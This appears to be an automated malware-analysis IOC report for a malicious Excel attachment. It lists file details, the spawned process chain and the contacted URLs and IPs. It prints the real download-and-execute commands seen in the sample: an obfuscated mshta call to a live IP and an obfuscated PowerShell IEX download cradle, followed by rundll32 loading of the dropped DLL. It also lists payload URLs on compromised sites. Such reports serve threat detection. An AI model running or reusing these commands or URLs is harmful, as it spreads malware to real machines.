IOC Report

Attachment-2801.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 27 20:50:39 2022, Last Saved Time/Date: Thu Jan 27 21:01:17 2022, Security: 0

initial sample

C:\ProgramData\QWER.dll

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

C:\Users\user\Desktop\Attachment-2801.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 27 20:50:39 2022, Last Saved Time/Date: Thu Jan 27 21:01:17 2022, Security: 0

dropped

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

C:\Windows\System32\cmd.exe

CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l

C:\Windows\System32\mshta.exe

mshta http://91.240.118.168/oo/aa/se.html

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zefya\nybbbfj.sgf",zLEpZ

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zefya\nybbbfj.sgf",DllRegisterServer

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wwjqkvceadqbdjp\jzkitex.drd",DvusKnlRvE

http://91.240.118.168/oo/aa/se.htmlmshta

unknown

http://91.240.118.168/oo/aa/se.pngPE3

unknown

http://91.240.118.168/oo/aa/se.htmlhttp://91.240.118.168/oo/aa/se.html

unknown

http://91.240.118.168/oo/aa/se.htmlY

unknown

http://91.240.118.168/oo/aa/se.p

unknown

http://unitedhorus.com/wp-conten

unknown

http://farmmash.com/edh2fa/g2Q7Qbgs/

89.184.68.240

http://il-piccolo-principe.com/wp-content/Ua9GvD7acXnDz/PE3

unknown

http://unitedhorus.com/wp-content/m3oxVSV2uYW2rbh/PE3

unknown

http://3-fasen.com/wp-content/3Bl0hBbW/PE3

unknown

farmmash.com